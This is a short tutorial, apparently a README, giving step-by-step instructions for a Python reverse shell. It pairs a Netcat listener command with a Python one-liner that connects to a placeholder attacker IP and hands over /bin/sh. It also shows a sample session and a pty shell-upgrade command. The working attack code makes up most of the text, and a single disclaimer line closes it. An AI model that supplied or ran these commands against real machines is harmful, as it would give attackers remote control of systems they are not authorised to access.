This guide shows you how to set up a simple reverse shell using Python on the target machine and Netcat on the attacker machine.
- Python3 installed on the target machine.
- Netcat installed on the attacker machine.
Use Netcat to listen for incoming connections:
nc -lnvp 1234Explanation of flags:
-l: Listen mode, for incoming connections.-n: Numeric-only IP addresses, no DNS resolution.-v: Verbose output.-p: Specify the port number (in this example,1234).
Replace 1234 with your desired port if necessary.
Run this command on the target machine, replacing IP_ADDRESS with your attacker machine's IP and 1234 with your chosen port number:
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("IP_ADDRESS",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'You can also use the file that I provided you, "reverse_shell.py" and execute it on the target machine (make sure to replace the IP_ADDRESS with your attacker machine's IP and 1234 with your chosen port number) :
python3 reverse_shell.py- Establishes a TCP socket connection to the attacker’s IP and port.
- Redirects standard input (
stdin), standard output (stdout), and standard error (stderr) to the socket. - Executes a shell (
/bin/sh) to provide an interactive shell session back to the attacker.
Once the reverse shell command is executed, the attacker’s terminal running Netcat will establish a connection, giving you an interactive shell:
listening on [any] 1234 ...
connect to [IP_ADDRESS] from (UNKNOWN) [IP_ADDRESS] PORT
/bin/sh: 0: can't access tty; job control turned off
$ whoami
user
$To upgrade your shell to a fully interactive terminal, use:
python3 -c 'import pty; pty.spawn("/bin/bash")'This command gives you a more usable shell environment.
Use this knowledge responsibly and ethically. Unauthorized use of this method is illegal and unethical.